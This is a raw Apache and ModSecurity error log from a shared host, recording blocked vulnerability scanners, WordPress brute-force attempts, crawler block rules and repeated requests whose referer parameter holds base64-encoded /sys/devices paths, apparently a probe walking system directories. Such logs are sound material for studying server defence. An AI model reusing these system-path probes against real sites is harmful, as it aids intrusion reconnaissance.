with code 409 (phase 1). RBL lookup of 242.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30qLV-dFiaX9AtWiQqXwABSDQ"] [Sat Jun 13 18:24:08.607444 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.75:42060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:08.607903 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.75:42060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:08.818857 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:08.819119 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:09.007185 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.109:56938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:09.007661 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.109:56938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:09.141505 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.90:50072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:09.141952 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.90:50072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:09.340665 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:24:09.341116 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:24:09.383522 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.107:41725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:09.383834 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.107:41725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:09.680763 2026] [security2:error] [pid 715691:tid 715907] [client 146.103.115.7:58486] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.115.103.146.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "novaklinings.com"] [uri "/wp-login.php"] [unique_id "ai30qbV-dFiaX9AtWiQqjQAAAUw"], referer: http://novaklinings.com/ [Sat Jun 13 18:24:09.842480 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:24:09.842845 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:24:09.951635 2026] [security2:error] [pid 715691:tid 715782] [remote 111.225.148.226:53012] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wesonline.ng"] [uri "/wp-content/uploads/2025/03/skills-blue-black-words-typographical-concept-3d-illustration-scaled.webp"] [unique_id "ai30qbV-dFiaX9AtWiQqlQABaEc"] [Sat Jun 13 18:24:10.064275 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.94:20302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:10.064754 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.94:20302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:10.256844 2026] [security2:error] [pid 715691:tid 715964] [client 87.120.219.44:60778] ModSecurity: Warning. Matched phrase "BuiltWith" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "mastersdeldeporte.com"] [uri "/index.php"] [unique_id "ai30qrV-dFiaX9AtWiQqngAAAYU"] [Sat Jun 13 18:24:10.265391 2026] [access_compat:error] [pid 646876:tid 646972] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:10.265831 2026] [access_compat:error] [pid 646876:tid 646972] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:10.360184 2026] [security2:error] [pid 715691:tid 715754] [remote 17.241.75.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30qrV-dFiaX9AtWiQqoQABbCw"] [Sat Jun 13 18:24:10.370713 2026] [security2:error] [pid 715691:tid 715824] [remote 208.109.188.137:58288] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "infraas.digital"] [uri "/wp-login.php"] [unique_id "ai30qrV-dFiaX9AtWiQqogABKXE"] [Sat Jun 13 18:24:10.371073 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:24:10.371388 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:24:10.636537 2026] [access_compat:error] [pid 715691:tid 715786] [remote 57.141.14.36:31002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:10.636844 2026] [access_compat:error] [pid 715691:tid 715786] [remote 57.141.14.36:31002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:10.647518 2026] [access_compat:error] [pid 715691:tid 715793] [remote 57.141.14.64:49176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:10.647898 2026] [access_compat:error] [pid 715691:tid 715793] [remote 57.141.14.64:49176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:10.660909 2026] [security2:error] [pid 646876:tid 647069] [client 87.120.219.44:60792] ModSecurity: Warning. Matched phrase "BuiltWith" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "mastersdeldeporte.com"] [uri "/index.php"] [unique_id "ai30qtyTkdrNlD40tSHXMgAAAD0"] [Sat Jun 13 18:24:10.792283 2026] [security2:error] [pid 715691:tid 715960] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/stripos_error.phpt"] [unique_id "ai30qrV-dFiaX9AtWiQqvgAAAYE"] [Sat Jun 13 18:24:10.898354 2026] [security2:error] [pid 646876:tid 647050] [client 13.140.175.37:57461] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "fantastictradeshows.com"] [uri "/"] [unique_id "ai30qtyTkdrNlD40tSHXOwAAACo"] [Sat Jun 13 18:24:10.917580 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:10.918221 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:10.947163 2026] [security2:error] [pid 646876:tid 646971] [remote 17.241.219.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30qtyTkdrNlD40tSHXPwAAYFw"] [Sat Jun 13 18:24:11.020476 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.2:50787] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:11.020922 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.2:50787] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:11.330337 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.80:55401] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:11.330619 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.80:55401] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:11.411522 2026] [security2:error] [pid 715691:tid 715711] [remote 17.246.23.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30q7V-dFiaX9AtWiQqzwABdgE"] [Sat Jun 13 18:24:11.415698 2026] [security2:error] [pid 715691:tid 715910] [client 13.140.175.37:65081] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "fantastictradeshows.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai30q7V-dFiaX9AtWiQq0AAAAU8"] [Sat Jun 13 18:24:11.439000 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:11.439282 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:11.533005 2026] [security2:error] [pid 715691:tid 715784] [remote 17.22.245.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30q7V-dFiaX9AtWiQq0wABHUk"] [Sat Jun 13 18:24:11.756846 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.63:53316] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:11.757138 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.63:53316] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:11.962156 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:11.962610 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:11.968543 2026] [security2:error] [pid 646876:tid 647002] [remote 17.22.253.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30q9yTkdrNlD40tSHXXwAABXs"] [Sat Jun 13 18:24:11.987835 2026] [security2:error] [pid 715691:tid 715734] [remote 57.141.14.36:31006] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg 